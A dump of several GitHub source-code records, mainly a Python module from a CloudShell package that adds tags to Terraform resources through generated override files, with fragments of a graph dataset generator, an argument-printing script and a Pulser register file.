edge_index=edge_index, edge_attr=edge_features)\r\n data_list.append(graph)\r\n\r\n elif graphType == 'RadiusGraph':\r\n for i in range(len(data)):\r\n graph_feature = data[i]\r\n if task == 'Node':\r\n labels = np.zeros(len(graph_feature)) + label\r\n elif task == 'Graph':\r\n labels = [label]\r\n else:\r\n print(\"There is no such task!!\")\r\n node_edge, w = Radius_attr(graph_feature)\r\n node_features = torch.tensor(graph_feature, dtype=torch.float)\r\n graph_label = torch.tensor(labels, dtype=torch.long) # 获得图标签\r\n edge_index = torch.tensor(node_edge, dtype=torch.long)\r\n edge_features = torch.tensor(w, dtype=torch.float)\r\n graph = Data(x=node_features, y=graph_label, edge_index=edge_index, edge_attr=edge_features)\r\n data_list.append(graph)\r\n\r\n elif graphType == 'PathGraph':\r\n for i in range(len(data)):\r\n graph_feature = data[i]\r\n if task == 'Node':\r\n labels = np.zeros(len(graph_feature)) + label\r\n elif task == 'Graph':\r\n labels = [label]\r\n else:\r\n print(\"There is no such task!!\")\r\n node_edge, w = Path_attr(graph_feature)\r\n node_features = torch.tensor(graph_feature, dtype=torch.float)\r\n graph_label = torch.tensor(labels, dtype=torch.long) # 获得图标签\r\n edge_index = torch.tensor(node_edge, dtype=torch.long)\r\n edge_features = torch.tensor(w, dtype=torch.float)\r\n graph = Data(x=node_features, y=graph_label, edge_index=edge_index, edge_attr=edge_features)\r\n data_list.append(graph)\r\n\r\n else:\r\n print(\"This GraphType is not included!\")\r\n return data_list\r\n","repo_name":"HazeDT/PHMGNNBenchmark","sub_path":"datasets/Generator.py","file_name":"Generator.py","file_ext":"py","file_size_in_byte":5691,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"48"} +{"seq_id":"2504859224","text":"# entrypoint is package/cloudshell/iac/terraform/services/tf_proc_exec.py def tag_terraform\n\n# tags changes\n\n# - remove/comment out main (only uses start_tagging_terraform_resources function)\n# - removed Settings class and related methods\n# - add \"from cloudshell.iac.terraform.models.exceptions import TerraformAutoTagsError\"\n# - verify imports are the same (need to add to dependencies file if different and require specific version)\n# - modify logger to use logger from module\n# - _perform_terraform_init_plan is heavily changed due to the fact we may need to run this on windows or linux\n\n# modified methods:\n# - init_logging\n# - start_tagging_terraform_resources\n# - _perform_terraform_init_plan\n# - OverrideTagsTemplatesCreator\n\nimport argparse\nimport re\nimport enum\nimport traceback\nfrom typing import List\nimport hcl2\nimport os\nimport subprocess\nimport logging\nfrom inspect import getframeinfo, stack\nfrom functools import wraps\nimport json\n\n### Added\nfrom cloudshell.iac.terraform.models.exceptions import TerraformAutoTagsError\n\n\n# =====================================================================================================================\n\nclass Constants:\n TAGS = \"tags\" # used for tag aws and azure resources in terraform\n LABELS = \"labels\" # used for tag kubernetes resources in terraform\n OVERRIDE_LOG_FILE_NAME = \"override_log\"\n EXCLUDE_FROM_TAGGING_FILE_NAME = \"exclude_from_tagging.json\" # modified\n\n @staticmethod\n def get_override_log_path(main_folder: str):\n return os.path.join(main_folder,\n Constants.OVERRIDE_LOG_FILE_NAME)\n\n # modified\n @staticmethod\n def get_exclude_from_tagging_file_path(main_folder: str):\n return os.path.join(main_folder,\n Constants.EXCLUDE_FROM_TAGGING_FILE_NAME)\n\n# =====================================================================================================================\n\n\nclass ExceptionWrapper:\n @staticmethod\n def wrap_class(cls):\n for (attr_name, attr_value) in cls.__dict__.items():\n if not attr_name.startswith('__') and \\\n callable(attr_value) or (not callable(attr_value) and isinstance(attr_value, staticmethod)):\n setattr(cls, attr_name, ExceptionWrapper.wrap_func(attr_value))\n return cls\n\n @staticmethod\n def wrap_func(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n try:\n if callable(func): # for callable normal function\n return func(*args, **kwargs)\n # for staticmethod (which by definition are not callable, but they hold the raw function in the __func__)\n else:\n return func.__func__(*args, **kwargs)\n except Exception as e:\n caller = getframeinfo(stack()[1][0])\n code_line = caller.lineno\n trace = traceback.format_exc()\n LoggerHelper.write_error(f\"An Unhandled exception that started in the line {code_line} was occurred,\\n\"\n f\"Exception is:\\n\"\n f\"{trace}\\n\\n\", code_line)\n raise e\n\n return wrapper\n\n\n# =====================================================================================================================\n\n# modified\nclass LoggerHelper:\n log_instance = None\n\n @staticmethod\n def init_logging(logger: logging.Logger):\n LoggerHelper.log_instance = logger\n\n @staticmethod\n def write_info(msg: str, code_line: int = None):\n if code_line is None:\n caller = getframeinfo(stack()[1][0])\n code_line = caller.lineno\n LoggerHelper.log_instance.info(f\" Line {code_line}]: {msg}\")\n\n @staticmethod\n def write_warning(msg: str, code_line: int = None):\n if code_line is None:\n caller = getframeinfo(stack()[1][0])\n code_line = caller.lineno\n LoggerHelper.log_instance.warning(f\" Line {code_line}]: {msg}\")\n\n @staticmethod\n def write_error(msg: str, code_line: int = None):\n if code_line is None:\n caller = getframeinfo(stack()[1][0])\n code_line = caller.lineno\n LoggerHelper.log_instance.error(f\" Line {code_line}]: {msg}\")\n\n\n# =====================================================================================================================\n\n\nclass FileInfo:\n def __init__(self, file_path: str):\n self.file_path = file_path\n self.file_name = os.path.basename(file_path)\n self.file_dir = os.path.dirname(file_path)\n\n def __str__(self):\n return self.file_name\n\n def __repr__(self):\n return self.file_name\n\n\nclass FilesHelper:\n @staticmethod\n def get_all_files(dir_path: str, file_extension: str = None) -> List[FileInfo]:\n files: List[FileInfo] = []\n for root, directories, file_names in os.walk(dir_path):\n for file_name in file_names:\n if file_extension:\n if file_name.endswith(file_extension):\n files.append(FileInfo(os.path.join(root, file_name)))\n else:\n files.append(FileInfo(os.path.join(root, file_name)))\n return files\n\n\n# =====================================================================================================================\n\n\nclass TerraformResource:\n def __init__(self, resource_type: str, resource_name: str, tags):\n self.resource_type = resource_type\n self.resource_name = resource_name\n self.tags = tags\n\n\n# =====================================================================================================================\n\n# modified\n@ExceptionWrapper.wrap_class\nclass OverrideTagsTemplatesCreator:\n def __init__(self, tags_dict: dict, terraform_version: str):\n # self.torque_tags_file_path = torque_tags_file_path\n self.torque_tags_dict = tags_dict\n self.torque_tags_flat_map = \"\" # will be \"map(,,...)\" or \"tomap({=,...})\"\n self.torque_autoScaling_tags_flat_maps_list = \"\" # will be list(,....) or tolist([, ...])\n self._terraform_syntax = TerraformSyntaxVersion.get_terraform_syntax(terraform_version)\n self._map_key_value_separator = self._get_map_key_value_separator()\n\n if not self.torque_tags_dict:\n LoggerHelper.write_error(f\"Didn't get tags dict, exiting the tagging process\")\n return\n\n LoggerHelper.write_info(f\"Initiate default tags templates\")\n self._init_torque_tags_flat_map()\n self._init_torque_autoScaling_tags_flat_maps_list()\n\n def _get_map_key_value_separator(self):\n # In terraform 0.12.0 and above map is used as follows: \"tomap({=,...})\"\n if self._terraform_syntax == TerraformSyntaxVersion.zero_twelve_and_above:\n return '='\n # In terraform 0.11.x and below map is used as follows: \"map(,,...)\"\n return ','\n\n def _get_map_tags_template(self, map_values: str):\n # In terraform 0.12.0 and above map is used as follows: \"tomap({=,...})\"\n if self._terraform_syntax == TerraformSyntaxVersion.zero_twelve_and_above:\n return f\"tomap({{{map_values}}})\"\n # In terraform 0.11.x and below map is used as follows: \"map(,,...)\"\n return f\"map({map_values})\"\n\n def _get_list_tags_template(self, list_values: str):\n # In terraform 0.12.0 and above list is used as follows: \"tolist([, ...])\"\n if self._terraform_syntax == TerraformSyntaxVersion.zero_twelve_and_above:\n return f\"\\ntolist([\\n\\t\\t{list_values}\\n])\"\n # In terraform 0.11.x and below list is used as follows: \"list(,....)\"\n return f\"\\nlist(\\n\\t\\t{list_values}\\n)\"\n\n def _get_terraform_syntax_string_template(self, terraform_str: str):\n # In version 0.11.x and below using terraform syntax like \"map\", \"merge\", \"concat\", and more\n # must be wrapped in \"${}\"\n if self._terraform_syntax == TerraformSyntaxVersion.zero_eleven_and_below:\n return f\"\\\"${{{terraform_str}}}\\\"\"\n # In terraform 0.12.0 and above you can use terraform syntax as is\n return terraform_str\n\n def get_single_group_string(self, single_str: str):\n # In version 0.11.x and below using terraform syntax like \"map\", \"merge\", \"concat\", and more\n # must be wrapped in \"${}\"\n single_group_match = RegexHelper.get_single_group_match_from_regex_result(text=single_str,\n pattern=RegexHelper.SINGLE_VAR_PATTERN)\n # In terraform 0.12.0 and above you can call the string as is,\n # but it also excepts string interpolation syntax from terraform 0.11.0 and below\n if single_group_match is None and self._terraform_syntax == TerraformSyntaxVersion.zero_twelve_and_above:\n return single_str\n return single_group_match\n\n def _read_and_save_tags_from_file(self):\n with open(self.torque_tags_file_path) as tags_file:\n tags = json.load(tags_file)\n for k, v in tags.items():\n self.torque_tags_dict[k] = v\n\n def _init_torque_tags_flat_map(self):\n torque_tags_to_list = []\n for key, value in self.torque_tags_dict.items():\n torque_tags_to_list.append(f\"\\\"{key}\\\"{self._map_key_value_separator}\\\"{value}\\\"\")\n\n if not torque_tags_to_list:\n return\n map_value = \" , \".join(torque_tags_to_list)\n self.torque_tags_flat_map = self._get_map_tags_template(map_value)\n\n def _init_torque_autoScaling_tags_flat_maps_list(self):\n torque_tags_to_list = []\n for key, value in self.torque_tags_dict.items():\n map_value = \"\\\"key\\\"{0}\\\"{1}\\\",\\\"value\\\"{0}\\\"{2}\\\",\\\"propagate_at_launch\\\"{0}\\\"true\\\"\". \\\n format(self._map_key_value_separator, key, value)\n torque_tags_to_list.append(self._get_map_tags_template(map_value))\n\n if not torque_tags_to_list:\n return\n\n # All the \\t and \\n in here is just so that the override will look good and readable\n # (in case we need to look at it)\n list_of_maps_value = \" ,\\n\\t\\t\".join(torque_tags_to_list)\n self.torque_autoScaling_tags_flat_maps_list = self._get_list_tags_template(list_of_maps_value)\n\n def _get_basic_override_tags_template(self, resource_type: str, resource_name: str, tags: str) -> str:\n tags_label = Constants.LABELS if resource_type.startswith(\"kubernetes_\") else Constants.TAGS\n return \"\"\"\nresource \\\"{RESOURCE_TYPE}\\\" \\\"{RESOURCE_NAME}\\\" {{\n {TAGS_LABEL} = {TAGS_VALUE}\n}}\n\\n\"\"\".format(RESOURCE_TYPE=resource_type,\n RESOURCE_NAME=resource_name,\n TAGS_LABEL=tags_label,\n TAGS_VALUE=tags)\n\n def get_merge_tags_template(self, resource_type: str, resource_name: str, client_str_tags: str) -> str:\n if not self.torque_tags_flat_map:\n return \"\"\n\n separator = \", \" if not client_str_tags.replace(\" \", \"\").endswith(\",\") else \" \"\n merge_str = f\"merge({client_str_tags}{separator}{self.torque_tags_flat_map})\"\n\n return self._get_basic_override_tags_template(resource_type=resource_type,\n resource_name=resource_name,\n tags=self._get_terraform_syntax_string_template(merge_str))\n\n def get_concat_tags_template(self, resource_type: str, resource_name: str, client_str_tags: str) -> str:\n if not self.torque_autoScaling_tags_flat_maps_list:\n return \"\"\n\n separator = \", \" if not client_str_tags.replace(\" \", \"\").endswith(\",\") else \" \"\n concat_str = f\"concat({client_str_tags}{separator}{self.torque_autoScaling_tags_flat_maps_list})\"\n\n return self._get_basic_override_tags_template(resource_type=resource_type,\n resource_name=resource_name,\n tags=self._get_terraform_syntax_string_template(concat_str))\n\n def get_torque_tags_with_client_dict_tags_template(self, resource_type: str, resource_name: str,\n client_dict_tags: dict) -> str:\n tags = {} if not client_dict_tags else client_dict_tags\n # To add out tags to the client dict tags AND to OVERRIDE them in case we have the same tag names\n for key, value in self.torque_tags_dict.items():\n tags[key] = value\n\n all_tags_in_str_list = []\n for key, value in tags.items():\n all_tags_in_str_list.append(f\"\\\"{key}\\\" = \\\"{value}\\\"\")\n\n if not all_tags_in_str_list:\n return \"\"\n\n all_tags_as_str = \", \".join(all_tags_in_str_list)\n all_tags_as_str = f\"{{{all_tags_as_str}}}\"\n\n return self._get_basic_override_tags_template(resource_type=resource_type,\n resource_name=resource_name,\n tags=all_tags_as_str)\n\n def get_torque_tags_with_autoscaling_client_dict_tags_template(self, resource_type: str, resource_name: str,\n client_list_dict_tags: list) -> str:\n list_of_tags_dict = [] if not client_list_dict_tags else client_list_dict_tags\n for key, value in self.torque_tags_dict.items():\n single_tag_dict = {\"key\": key, \"value\": value, \"propagate_at_launch\": \"true\"}\n list_of_tags_dict.append(single_tag_dict)\n\n all_tags_in_str_list = []\n for tag in list_of_tags_dict:\n all_tags_in_str_list.append(f\"{{key = \\\"{tag['key']}\\\", value = \\\"{tag['value']}\\\",\"\n f\" propagate_at_launch = \\\"{tag['propagate_at_launch']}\\\"}}\")\n # All the \\t and \\n in here is just so that the override will look good and readable\n # (in case we need to look at it)\n all_tags_as_str = \",\\n\\t\\t\\t\\t\".join(all_tags_in_str_list)\n all_tags_as_str = f\"[\\n\\t\\t\\t\\t{all_tags_as_str}\\n\\t\\t]\"\n\n return self._get_basic_override_tags_template(resource_type=resource_type,\n resource_name=resource_name,\n tags=all_tags_as_str)\n\n\n# =====================================================================================================================\n\nclass TerraformSyntaxVersion(enum.Enum):\n zero_eleven_and_below = 0\n zero_twelve_and_above = 1\n\n @staticmethod\n def get_terraform_syntax(terraform_version: str):\n version_arr = terraform_version.split(\".\")\n if len(version_arr) == 3:\n if int(version_arr[0]) == 0:\n # If version is at most 0.11.x\n if int(version_arr[1]) <= 11:\n return TerraformSyntaxVersion.zero_eleven_and_below\n # If version is at least 0.12.0\n else:\n return TerraformSyntaxVersion.zero_twelve_and_above\n # Version is at least 1.x.x\n else:\n return TerraformSyntaxVersion.zero_twelve_and_above\n # If did not receive a valid version then return the default version syntax.\n else:\n return TerraformSyntaxVersion.zero_eleven_and_below\n\n\n# =====================================================================================================================\n\n@ExceptionWrapper.wrap_class\nclass Hcl2Parser:\n @staticmethod\n def get_tf_file_as_dict(tf_file_path: str) -> dict:\n try:\n with(open(tf_file_path, 'r')) as client_tf_file:\n return hcl2.load(client_tf_file)\n except:\n # logging the file path that encountered the error\n LoggerHelper.write_error(f\"Failed to parse tf file '{tf_file_path}'\")\n # re-raising the exception so it will break the flow and its details are logged by the ExceptionWrapper\n raise\n\n # full_resource_object contain many information in an unreadable structure\n # so we convert it to more less info with more readable structure\n @staticmethod\n def get_terraform_resource_safely(full_resource_object: dict) -> TerraformResource:\n if full_resource_object is None or not full_resource_object.keys():\n return None\n resource_type = next(iter(full_resource_object.keys()))\n\n if full_resource_object[resource_type] is None or not full_resource_object[resource_type].keys():\n return None\n resource_name = next(iter(full_resource_object[resource_type].keys()))\n\n tags = full_resource_object[resource_type][resource_name].get('tags', None)\n\n # before version 3.0.0 of hcl2, \"tags\" was a list and we took the first element in it\n # this behavior was changed here: https://github.com/amplify-education/python-hcl2/blob/master/CHANGELOG.md#300---2021-07-14\n if tags:\n # we replace ' with \" becuase hc2l has some bug:\n # for example it parse --> merge(local.common_tags, {\"Name\"=\"tomer\"})\n # to --> merge(local.common_tags, {'Name'='tomer'}) and this is invalid syntax according to terraform\n if type(tags) is str:\n tags = tags.replace(\"'\", \"\\\"\").replace(\",,\", \",\") # due to bug in hcl2 library\n\n return TerraformResource(resource_type=resource_type,\n resource_name=resource_name,\n tags=tags)\n\n @staticmethod\n def get_tf_file_resources(tf_file_path: str) -> List[TerraformResource]:\n tf_file_resources: List[TerraformResource] = []\n tf_as_dict = Hcl2Parser.get_tf_file_as_dict(tf_file_path)\n for resource_object in tf_as_dict.get(\"resource\", []):\n tf_file_resources.append(Hcl2Parser.get_terraform_resource_safely(resource_object))\n return tf_file_resources\n\n\n# =====================================================================================================================\n\n\nclass RegexHelper:\n # example: \"${merge(,,....)}\" ---> group match: \",,....\"\n # The terraform 'merge' is used to merge two maps (i.e dicts) (most common used is in the tags of all resources\n # (Except the autoscalling resource))\n MERGED_TAGS_PATTERN = r\"^.*\\bmerge\\b[ ]*\\((.*)\\).*\"\n\n # example: \"${concat(,,....)}\" ---> group match: \",,....\"\n # The terraform 'concat' is used to concat two list (most common used is in the tags of autoscalling resources\n # because the tags there represent as lists)\n CONCAT_LIST_TAGS_PATTERN = r\"^.*\\bconcat\\b[ ]*\\((.*)\\).*\"\n\n # example: \"${locals.my_tags}\" ---> group match: \"locals.my_tags\"\n SINGLE_VAR_PATTERN = r\"\\$\\{(.*)\\}\"\n\n # example:\n # Error: Unsupported argument\n #\n # on main.tf line 40, in resource \"aws_api_gateway_account\" \"agc\":\n # 40: tags = local.my_tags\n #\n # An argument named \"tags\" is not expected here. ---> group match: \"aws_api_gateway_account\"\n UNSUPPORTED_TAGS_OR_LABELS_PATTERN_1 = \\\n r\"^\\bError: Unsupported argument\\b[\\n]*.*\\bresource\\b[ ]*\\\"(.*?)\\\".*[\\n]*.*[\\n]*.*\\\"(?:\\btags\\b|\\blabels\\b)\\\"[ ]*\\bis not expected here\\b\"\n # In the above pattern we need to group the (?:\\btags\\b|\\blabels\\b) so we can match \"tags\" or \"labels\" but we don't\n # want this group to return as a group in the matches so we add the '?:' in the beginning to exclude this group\n # from the groups that return as matches\n\n # example:\n # Error: azurerm_mysql_firewall_rule.default: : invalid or unknown key: tags\n # ---> group match: \"aws_api_gateway_account\"\n UNSUPPORTED_TAGS_OR_LABELS_PATTERN_2 = r\"^\\bError\\b[ ,:]*(.*?)\\..*\\binvalid or unknown\\b.*\\btags\\b\"\n\n @staticmethod\n def get_single_group_match_from_regex_result(text: str, pattern: str) -> str:\n regex_obj = re.compile(pattern)\n regex_result = regex_obj.search(text)\n if regex_result and regex_result.groups():\n return regex_result.groups()[0]\n return None\n\n @staticmethod\n def get_all_group_match_from_regex_result(text: str, patterns: List[str]) -> List[str]:\n all_matches: List[str] = []\n for pattern in patterns:\n matches = re.findall(pattern, text, re.M) # re.M = multi line matches (i.e include \\n in the search)\n\n for match in matches:\n all_matches.append(match)\n\n return all_matches\n\n\n# =====================================================================================================================\n\nclass ResourcesTagger:\n def __init__(self, tf_file_info: FileInfo, tags_creator: OverrideTagsTemplatesCreator):\n self.tf_file_info = tf_file_info\n self.tags_creator = tags_creator\n\n def _get_override_file_path(self):\n (file_without_ext, ext) = os.path.splitext(self.tf_file_info.file_name)\n override_file_path = os.path.join(self.tf_file_info.file_dir, f\"{file_without_ext}_override.tf\")\n return override_file_path\n\n def _get_torque_tags_with_client_string_tags(self, terraform_resource: TerraformResource) -> str:\n client_tags = terraform_resource.tags.replace(\"\\n\", \"\")\n\n # It's important that we search for MERGED_TAGS_PATTERN before we search for SINGLE_VAR_PATTERN because\n # the MERGED_TAGS_PATTERN can also be recognized as a SINGLE_VAR_PATTERN but we want to act differently if it is\n # MERGED_TAGS_PATTERN\n parsed_client_tags = RegexHelper.get_single_group_match_from_regex_result(text=client_tags,\n pattern=RegexHelper.MERGED_TAGS_PATTERN)\n if not parsed_client_tags: # if not find concat pattern then try to fall back to single var pattern\n parsed_client_tags = self.tags_creator.get_single_group_string(client_tags)\n\n # If succeed to find any pattern then create a new merge tags template\n if parsed_client_tags:\n return self.tags_creator.get_merge_tags_template(\n resource_type=terraform_resource.resource_type,\n resource_name=terraform_resource.resource_name,\n client_str_tags=parsed_client_tags)\n\n else: # Otherwise raise an error\n raise Exception(\"Unable to process client tags\")\n\n def _get_torque_tags_with_autoscaling_client_string_tags(self, terraform_resource: TerraformResource) -> str:\n client_tags = terraform_resource.tags.replace(\"\\n\", \"\")\n # Try at first to find a concat pattern.\n # It's important that we search for CONCAT_LIST_TAGS_PATTERN before we search for SINGLE_VAR_PATTERN because\n # the CONCAT_LIST_TAGS_PATTERN can also be recognized as a SINGLE_VAR_PATTERN but we want to act differently\n # if it is CONCAT_LIST_TAGS_PATTERN\n parsed_client_tags = RegexHelper.get_single_group_match_from_regex_result(text=client_tags,\n pattern=RegexHelper.CONCAT_LIST_TAGS_PATTERN)\n if not parsed_client_tags: # if not find concat pattern then try to fall back to single var pattern\n parsed_client_tags = self.tags_creator.get_single_group_string(client_tags)\n # If succeed to find any pattern then create a new concat tags template\n if parsed_client_tags:\n return self.tags_creator.get_concat_tags_template(\n resource_type=terraform_resource.resource_type,\n resource_name=terraform_resource.resource_name,\n client_str_tags=parsed_client_tags)\n else: # Otherwise raise an error\n raise Exception(\"Unable to process client tags\")\n\n def _get_torque_tags_with_client_dict_tags(self, terraform_resource: TerraformResource) -> str:\n return self.tags_creator.get_torque_tags_with_client_dict_tags_template(\n resource_type=terraform_resource.resource_type,\n resource_name=terraform_resource.resource_name,\n client_dict_tags=terraform_resource.tags)\n\n def _get_torque_tags_with_autoscaling_client_dict_tags(self, terraform_resource: TerraformResource) -> str:\n return self.tags_creator.get_torque_tags_with_autoscaling_client_dict_tags_template(\n resource_type=terraform_resource.resource_type,\n resource_name=terraform_resource.resource_name,\n client_list_dict_tags=terraform_resource.tags)\n\n def _add_tags_to_override_file(self, override_file_stream, terraform_resource: TerraformResource):\n if terraform_resource:\n # in case of autoscaling_group the tags look different.\n # see here : https://www.terraform.io/docs/providers/aws/r/autoscaling_group.html\n # and here: https://github.com/hashicorp/terraform/issues/15226\n if terraform_resource.resource_type == \"aws_autoscaling_group\":\n # if we don't have tags or the tags are list of dict like\n # [{key = \"A\", value = \"B\", propagate_at_launch = \"True\"},\n # {key = \"C\" , value = \"D\", propagate_at_launch = \"True\"}]\n if not terraform_resource.tags or type(terraform_resource.tags) is list:\n override_file_stream.write(\n self._get_torque_tags_with_autoscaling_client_dict_tags(terraform_resource))\n # i.e tags is most likely = \"${concat(,,....)}\" or \"${}\"\n elif type(terraform_resource.tags) is str:\n override_file_stream.write(\n self._get_torque_tags_with_autoscaling_client_string_tags(terraform_resource))\n else:\n # if we don't have tags or the tags are dict like \" key1=\"value1\" , key2=\"value2\" \"\n if not terraform_resource.tags or type(terraform_resource.tags) is dict:\n override_file_stream.write(self._get_torque_tags_with_client_dict_tags(terraform_resource))\n # i.e tags is most likely = \"${merge(,,....)}\" or \"${}\"\n elif type(terraform_resource.tags) is str:\n override_file_stream.write(self._get_torque_tags_with_client_string_tags(terraform_resource))\n\n def create_override_file(self, untaggable_resources_types: List[str] = []):\n tf_file_resources = Hcl2Parser.get_tf_file_resources(self.tf_file_info.file_path)\n if not tf_file_resources or len(tf_file_resources) == 0:\n LoggerHelper.write_info(f\"No need to create override file to {self.tf_file_info.file_name}\"\n f\" (0 resources found in tf)\")\n return\n\n override_file_path = self._get_override_file_path()\n with(open(override_file_path, 'w')) as override_tf_file:\n for tf_resource in tf_file_resources:\n if tf_resource.resource_type not in untaggable_resources_types:\n self._add_tags_to_override_file(override_tf_file, tf_resource)\n LoggerHelper.write_info(f\"Override file was created to {self.tf_file_info.file_name}\"\n f\" ({len(tf_file_resources)} resources found in tf)\")\n\n\n#\n# =====================================================================================================================\n# M A I N\n# =====================================================================================================================\n\n\n# modified\ndef _perform_terraform_init_plan(main_tf_dir_path: str, inputs_dict: dict):\n inputs = []\n for input_key, input_value in inputs_dict.items():\n inputs.extend(['-var', f'{input_key}={input_value}'])\n\n terraform_exe_path = f'{os.path.join(main_tf_dir_path, \"terraform.exe\")}'\n init_command = [terraform_exe_path, 'init', '-no-color']\n plan_command = [terraform_exe_path, 'plan', '-no-color', '-input=false']\n plan_command.extend(inputs)\n\n init = subprocess.Popen(init_command, cwd=main_tf_dir_path, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n init_stdout, init_stderr = init.communicate()\n\n if init_stderr:\n return init_stdout, init_stderr, init.returncode\n\n # Save the output to a var proc_stdout\n plan = subprocess.Popen(plan_command, cwd=main_tf_dir_path, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n plan_stdout, plan_stderr = plan.communicate()\n plan_stdout = \"\"\n return plan_stdout, plan_stderr, plan.returncode\n\n\ndef _get_untaggable_resources_types_from_plan_output(text: str) -> List[str]:\n untaggable_resources = RegexHelper.\\\n get_all_group_match_from_regex_result(text=text,\n patterns=[RegexHelper.UNSUPPORTED_TAGS_OR_LABELS_PATTERN_1,\n RegexHelper.UNSUPPORTED_TAGS_OR_LABELS_PATTERN_2])\n return untaggable_resources\n\n\n# modified\ndef start_tagging_terraform_resources(main_dir_path: str, logger, tags_dict: dict, inputs_dict: dict = None,\n terraform_version: str = \"\"):\n if not os.path.exists(main_dir_path):\n raise TerraformAutoTagsError(f\"Path {main_dir_path} does not exist\")\n tfs_folder_path = main_dir_path\n exclude_from_tagging_file_path = Constants.get_exclude_from_tagging_file_path(main_dir_path)\n\n # modified\n LoggerHelper.init_logging(logger)\n\n LoggerHelper.write_info(f\"Trying to preform terraform init & plan in the directory '{tfs_folder_path}'\"\n \" in order to check for any validation errors in tf files\")\n stdout, stderr, return_code = _perform_terraform_init_plan(tfs_folder_path, inputs_dict) # modified\n if return_code != 0 or stderr:\n LoggerHelper.write_error(\"Exit before the override procedure began because the init/plan failed.\"\n f\" (Return_code is {return_code})\"\n f\"\\n\\nErrors are:\\n{stderr}\\n\")\n # Error Code 3 mark to the outside tf script (that run me) that there was an error but not because of\n # the override procedure (but because the client tf file has compile errors even before we started the\n # override procedure)\n exit(3)\n LoggerHelper.write_info(f\"terraform init & plan passed successfully\")\n\n # modified\n tags_templates_creator = OverrideTagsTemplatesCreator(tags_dict, terraform_version)\n\n all_tf_files = FilesHelper.get_all_files(tfs_folder_path, \".tf\")\n all_tf_files_without_overrides = [file for file in all_tf_files if not file.file_name.endswith(\"_override.tf\")]\n\n untaggable_resources_types = []\n if os.path.exists(exclude_from_tagging_file_path):\n with open(exclude_from_tagging_file_path) as exclude_from_tagging_file:\n untaggable_resources_types = json.load(exclude_from_tagging_file)\n LoggerHelper.write_info(f\"User decided to exclude the following resources types from tagging: {untaggable_resources_types}\")\n\n LoggerHelper.write_info(\"----------------------------------------------------------------------------------------\")\n LoggerHelper.write_info(f\"Try to create override files to those tf's': {all_tf_files_without_overrides}\\n\")\n # Create override files to all the tf files that in the main_tf_dir_path\n for file in all_tf_files_without_overrides:\n rt = ResourcesTagger(file, tags_templates_creator)\n rt.create_override_file(untaggable_resources_types)\n LoggerHelper.write_info(\"----------------------------------------------------------------------------------------\")\n\n LoggerHelper.write_info(f\"Trying to preform terraform init & plan in the directory '{tfs_folder_path}'\"\n \" in order to check for any untaggable resources in the override files\")\n # modified\n # Check (by analyzing the terraform plan output) to see if any of the override files\n # has a \"tags/labels\" that was assigned to untaggable resources\n stdout, stderr, return_code = _perform_terraform_init_plan(tfs_folder_path, inputs_dict)\n\n # Analyzing any errors (if exist) from the terraform plan output\n LoggerHelper.write_info(f\"Checking for any errors in plan output\")\n if stderr:\n LoggerHelper.write_warning(\"Errors founds in plan output. The errors are:\\n\\n\"\n f\"{stderr}\\n\")\n LoggerHelper.write_info(\"Trying to search for any untaggable resources\")\n untaggable_resources_types_from_plan = _get_untaggable_resources_types_from_plan_output(text=stderr)\n\n # If we found any untaggable resource then we need to create new override files\n # but this time without the untaggable_resources\n if untaggable_resources_types_from_plan:\n LoggerHelper.write_warning(f\"The following resources (in the tf files) are untaggable:\"\n f\" {untaggable_resources_types_from_plan}\")\n untaggable_resources_types.extend(untaggable_resources_types_from_plan)\n\n LoggerHelper.write_info(\n \"----------------------------------------------------------------------------------------\")\n LoggerHelper.write_info(\n f\"Creating new override files without the untaggable resources to those tf's': {all_tf_files_without_overrides}\\n\")\n for file in all_tf_files_without_overrides:\n rt = ResourcesTagger(file, tags_templates_creator)\n # create new override file but this time without the untaggable_resources\n rt.create_override_file(untaggable_resources_types)\n LoggerHelper.write_info(\n \"----------------------------------------------------------------------------------------\")\n\n # We need to do one final run of terraform init & plan in order to check that after the creation of the\n # new override files the validation passes.\n # If it's still not pass that we probably did something wrong and we need to exit with error\n LoggerHelper.write_info(f\"Trying to preform one final terraform init & plan in the directory '{tfs_folder_path}'\"\n \" in order to check for any validation errors in the new override files\")\n # modified\n stdout, stderr, return_code = _perform_terraform_init_plan(tfs_folder_path, inputs_dict)\n if return_code != 0 or stderr:\n LoggerHelper.write_error(\"Errors were found in the last validation check:\"\n f\" (Return_code is {return_code})\"\n f\"\\n\\nErrors are:\\n{stderr}\\n\")\n LoggerHelper.write_error(\"Tagging terraform resources operation has FAILED !!!!!\")\n exit(1)\n\n else:\n LoggerHelper.write_warning(\"No untaggable resources were found, but errors in plan file do exists\")\n LoggerHelper.write_error(\"Tagging terraform resources operation has FAILED !!!!!\")\n exit(1)\n else:\n LoggerHelper.write_info(\"No errors founds in plan output\")\n\n LoggerHelper.write_info(\"Successfully finish creating override files to tf files\\n\\n\\n\\n\")\n\n\ndef _validate_terraform_version_arg(terraform_version_arg: str) -> bool:\n if not terraform_version_arg:\n return False\n\n version_arr = terraform_version_arg.split(\".\")\n if len(version_arr) != 3:\n return False\n\n return version_arr[0].isdigit() and version_arr[1].isdigit()","repo_name":"katzy687/CloudShell-Terraform-Shell","sub_path":"package/cloudshell/iac/terraform/tagging/tag_terraform_resources.py","file_name":"tag_terraform_resources.py","file_ext":"py","file_size_in_byte":35938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"2093749293","text":"#!/usr/bin/python3\nif __name__ == \"__main__\":\n \"\"\"Print the number of and list of arguments.\"\"\"\nimport sys\nnumbers = len(sys.argv) - 1\nif numbers == 0:\n\tprint(\"0 arguments.\")\nelif numbers == 1:\n\tprint(\"1 argument:\")\nelse:\n\tprint(\"{} arguments:\".format(numbers))\nfor n in range(numbers):\n\tprint(\"{}: {}\".format((n + 1), sys.argv[n + 1]))\n","repo_name":"roqiaahmed/alx-higher_level_programming","sub_path":"0x02-python-import_modules/2-args.py","file_name":"2-args.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32309779398","text":"from __future__ import annotations\n\nfrom collections.abc import Mapping\nfrom typing import TYPE_CHECKING, Any\n\nfrom pulser.json.utils import obj_to_dict\n\nif TYPE_CHECKING: # pragma: no cover\n from pulser.register.base_register import BaseRegister, QubitId\n from pulser.register.register_layout import RegisterLayout\n\n\nclass MappableRegister:\n 